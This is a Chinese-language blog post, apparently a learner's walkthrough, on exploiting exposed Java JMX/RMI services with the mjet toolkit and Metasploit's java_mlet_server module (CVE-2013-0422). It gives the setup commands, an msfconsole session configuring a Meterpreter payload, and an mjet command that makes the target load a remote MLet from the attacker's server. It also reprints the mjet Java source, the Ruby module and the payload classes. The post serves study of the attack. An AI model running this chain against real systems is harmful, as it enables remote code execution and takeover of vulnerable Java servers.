一、背景:
這里需要對java反序列化有點了解,在這里得推廣下自己的博客嘛,雖然寫的不好,廣告還是要做的。原諒我:
二、攻擊手法簡介
針對這個使用msf攻擊需要大家看一篇文章:JMX RMI Exploit 實例 , 鳴謝,確實學到了很多,膜拜大牛 , 簡要介紹下攻擊手法:
(1)下載mjet模塊:下載連接mjet,如果是mac電腦安裝好metaspolit以后可以直接使用git clone命令下載到metaspolit的父目錄下:
git clone https://github.com/mogwaisec/mjet.git
(2)拷貝文件到響應目錄下:
cp -r mjet/metasploit/MBean metasploit-framework-master/data/java/metaspolit cp mjet/metasploit/java_mlet_server.rb metasploit-framework-master/modules/exploits/multi/misc/ cd mjet/src/java/metasploit/MetasploitBean/src/metasploit javac Payload.java cp Payload.class ~/Desktop/metasploit-framework-master/data/java/metasploit/
(3)進入msf,配置相關配置:
msf > use exploit/multi/misc/java_mlet_server msf exploit(multi/misc/java_mlet_server) > set payload java/meterpreter/bind_tcp payload => java/meterpreter/bind_tcp msf exploit(multi/misc/java_mlet_server) > set LPORT 4444 LPORT => 4444 msf exploit(multi/misc/java_mlet_server) > set LHOST 192.168.100.101 LHOST => 192.168.100.101 msf exploit(multi/misc/java_mlet_server) > set uripath /asdfgh uripath => /asdfgh msf exploit(multi/misc/java_mlet_server) > run
另外一邊開啟一個終端:
java -jar mjet.jar -p 1099 -u http://192.168.100.101:8080/o5jSTI5rEWJw6Is/ -t 192.168.100.102
再補充一些msf的命令知識:
''' 對於msf來說 set LHOST、set LPORT、set RHOST、set RPORT就不說了都懂 查看配置選項show options 需要修改那個修改那個就可以了 set uripath /asdfgh set SRVPORT 1234 等等 '''
三、下面來分析一下mjet的源碼所進行的流程
聲明:
這里使用正反向都可以拿shell,但是反連Server需要能直達,攻擊互聯網站點的化需要有一個公網IP。
很簡單,到對方RMI去注冊,然后RMI回連到msf起好的服務這里來:


我們來看mjet的源代碼
1 package de.mogwaisecurity.lab.mjet;
2
3 import org.apache.commons.cli.*;
4 import javax.management.remote.*;
5 import javax.management.*;
6
7 import java.util.*;
8
9 public class Mjet {
10
11 /**
12 * @param args
13 */
14 public static void main(String[] args) {
15
16 System.out.println("---------------------------------------------------");
17 System.out.println("MJET - Mogwai Security JMX Exploitation Toolkit 0.1");
18 System.out.println("---------------------------------------------------");
19 System.out.println();
20
21 CommandLineParser parser = new org.apache.commons.cli.BasicParser();
22
23 Options cmdOptions = createCmdOptions();
24
25 CommandLine cmd= null;
26
27 try {
28 cmd = parser.parse(cmdOptions, args);
29 }
30 catch(ParseException exp) {
31 System.err.println( "[-] Error: " + exp.getMessage());
32 System.err.println();
33
34 // automatically generate the help statement
35 HelpFormatter formatter = new HelpFormatter();
36 formatter.printHelp( "mjet", cmdOptions );
37 System.exit(1);
38 }
39
40 pwnJMXService(cmd);
41 }
42
43 private static Options createCmdOptions()
44 {
45 Options cmdOptions = new Options();
46
47 // Required arguments
48 Option targetOption = OptionBuilder.withArgName("host").hasArg().withDescription("target host").isRequired(true).create('t');
49 Option portOption = OptionBuilder.withArgName("port").hasArg().withDescription("target service port").isRequired(true).create('p');
50 Option urlOption = OptionBuilder.withArgName("url").hasArg().withDescription("url of the mlet web server").isRequired(true).create('u');
51
52 targetOption.setLongOpt("target");
53 portOption.setLongOpt("port");
54 urlOption.setLongOpt("url");
55
56 cmdOptions.addOption(targetOption);
57 cmdOptions.addOption(portOption);
58 cmdOptions.addOption(urlOption);
59
60 // Optional arguments
61 Option helpOption = new Option("help", false, "show this help");
62 cmdOptions.addOption(helpOption);
63
64 return cmdOptions;
65 }
66
67 static void pwnJMXService(CommandLine line) {
68 try {
69 String serverName = line.getOptionValue("t");
70 String servicePort = line.getOptionValue("p");
71 String mLetUrl = line.getOptionValue("u");
72 JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + serverName + ":" + servicePort + "/jmxrmi");
73
74 System.out.println("[+] Connecting to JMX URL: "+url +" ...");
75
76 JMXConnector connector = JMXConnectorFactory.connect(url);
77 MBeanServerConnection mBeanServer = connector.getMBeanServerConnection();
78
79 System.out.println("[+] Connected: " + connector.getConnectionId());
80
81 ObjectInstance payloadBean = null;
82
83 System.out.println("[+] Trying to create MLet bean...");
84 ObjectInstance mLetBean = null;
85
86 try {
87 mLetBean = mBeanServer.createMBean("javax.management.loading.MLet", null);
88 } catch (javax.management.InstanceAlreadyExistsException e) {
89 mLetBean = mBeanServer.getObjectInstance(new ObjectName("DefaultDomain:type=MLet"));
90 }
91
92 System.out.println("[+] Loaded "+mLetBean.getClassName());
93 System.out.println("[+] Loading malicious MBean from " + mLetUrl);
94 System.out.println("[+] Invoking: "+mLetBean.getClassName() + ".getMBeansFromURL");
95 Object res = mBeanServer.invoke(mLetBean.getObjectName(), "getMBeansFromURL",
96 new Object[] { mLetUrl },
97 new String[] { String.class.getName() }
98 );
99
100 HashSet res_set = ((HashSet)res);
101 Iterator itr = res_set.iterator();
102 Object nextObject = itr.next();
103
104 if (nextObject instanceof Exception) {
105 throw ((Exception)nextObject);
106 }
107 payloadBean = ((ObjectInstance)nextObject);
108
109 System.out.println("[+] Loaded class: "+ payloadBean.getClassName());
110 System.out.println("[+] Loaded MBean Server ID: "+ payloadBean.getObjectName());
111 System.out.println("[+] Invoking: "+ payloadBean.getClassName()+".run()");
112
113 mBeanServer.invoke(payloadBean.getObjectName(), "run", new Object[]{}, new String[]{});
114
115 System.out.println("[+] Done");
116
117 } catch (Exception e) {
118 e.printStackTrace();
119 }
120 }
121 }
先聲明,我對java的懂得很少很少,初學者階段。
只能說或這里調用了invoker,使用payloadBean.getObjectName.getMBeansFromURL這里調用getMBeansFromURL這個函數,我去百度了一下,這個函數

注冊了咱們msf生成的那個server,然后看java_mlet_server.rb
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize( info = {} )
super( update_info( info,
'Name' => 'Java Mlet Server',
'Description' => %q{
This module abuses the JMX classes from a Java Applet to run arbitrary Java
code outside of the sandbox as exploited in the wild in January of 2013. The
vulnerability affects Java version 7u10 and earlier.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Unknown', # Vulnerability discovery
'egypt', # Metasploit module
'sinn3r', # Metasploit module
'juan vazquez' # Metasploit module
],
'References' =>
[
[ 'CVE', '2013-0422' ]
],
'Platform' => %w{ java linux osx win },
'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
'Targets' =>
[
[ 'Generic (Java Payload)',
{
'Platform' => ['java'],
'Arch' => ARCH_JAVA,
}
],
[ 'Windows x86 (Native Payload)',
{
'Platform' => 'win',
'Arch' => ARCH_X86,
}
],
[ 'Mac OS X x86 (Native Payload)',
{
'Platform' => 'osx',
'Arch' => ARCH_X86,
}
],
[ 'Linux x86 (Native Payload)',
{
'Platform' => 'linux',
'Arch' => ARCH_X86,
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jan 10 2013'
))
end
def setup
path = File.join(Msf::Config.data_directory, "java", "metasploit", "MBean", "Metasploit.class")
@mbean_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
path = File.join(Msf::Config.data_directory, "java", "metasploit", "MBean", "MetasploitMBean.class")
@interface_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
#@exploit_class_name = rand_text_alpha("Exploit".length)
#@exploit_class.gsub!("Exploit", @exploit_class_name)
super
end
def on_request_uri(cli, request)
print_status("handling request for #{request.uri}")
case request.uri
when /\.jar$/i
jar = payload.encoded_jar
jar.add_file("metasploit/Metasploit.class", @mbean_class)
jar.add_file("metasploit/MetasploitMBean.class", @interface_class)
#metasploit_str = rand_text_alpha("metasploit".length)
#payload_str = rand_text_alpha("payload".length)
#jar.entries.each { |entry|
# entry.name.gsub!("metasploit", metasploit_str)
# entry.name.gsub!("Payload", payload_str)
# entry.data = entry.data.gsub("metasploit", metasploit_str)
# entry.data = entry.data.gsub("Payload", payload_str)
#}
jar.build_manifest
send_response(cli, jar, { 'Content-Type' => "application/octet-stream" })
when /\/$/
payload = regenerate_payload(cli)
if not payload
print_error("Failed to generate the payload.")
send_not_found(cli)
return
end
send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })
else
send_redirect(cli, get_resource() + '/', '')
end
end
def generate_html
html = %Q|<mlet code=metasploit.Metasploit archive=#{rand_text_alpha(8)}.jar name=#{rand_text_alpha(8)}:name=#{rand_text_alpha(8)},id=#{rand_text_alpha(8)} ></mlet>|
# return html
end
end
先聲明我也只懂一個大概流程,等到rmi回連后,把那個構造好的class發過去,那邊調用invoker接口去調用其中的run方法。
這里的打印也可以說明這個問題

看一下這幾個類的代碼,繼承了MetaspolitMBean接口,在run方法中調用了Payload的run方法:
package metasploit;
public class Metasploit implements MetasploitMBean {
public void run() {
Payload.main(null);
}
}
package metasploit;
public interface MetasploitMBean {
public void run();
}
1 package metasploit;
2
3 public class Payload {
4
5
6 public static void main(String[] args) {
7 System.out.println("bla bla bla");
8
9 }
10
11 }
層層調用,但是也只是一個打印bla的類,在下面這段代碼中就是調用這個run方法:

分析到這里就不知道怎么分析了,還是沒搞清楚這樣有啥用,shell是怎么反彈的,回歸到rb的源碼文件,看到這樣的描述:

於是決定去看這個CVE,然后來琢磨怎么辦?從描述上來看,是逃逸了sandbox執行代碼。需要說明的是,java的RMI先后爆出了很多java反序列化漏洞,cve-2013-0422只是其中之一,后面也還有不少,所以這個cve-2013-0422也只是打擊RMI的一個方法之一。影響的是7u10機器之前的版本。
根據一篇博客的詳細記敘http://wcf1987.iteye.com/blog/1768599我們知道了這個是干掉java安全機制的漏洞,目標是逃逸出java沙箱以便於運行java applet代碼。
這就要看mlet標簽了,里面還是關於metaspolit的類。估計真正的惡意代碼執行或者和惡意命令執行還是后面msf弄的,而不是單單一個run函數就可以搞定了。這后面的東西猜測與設定的payload有關,例如正反向的shell的那個java的payload里面可能有相關的東東。

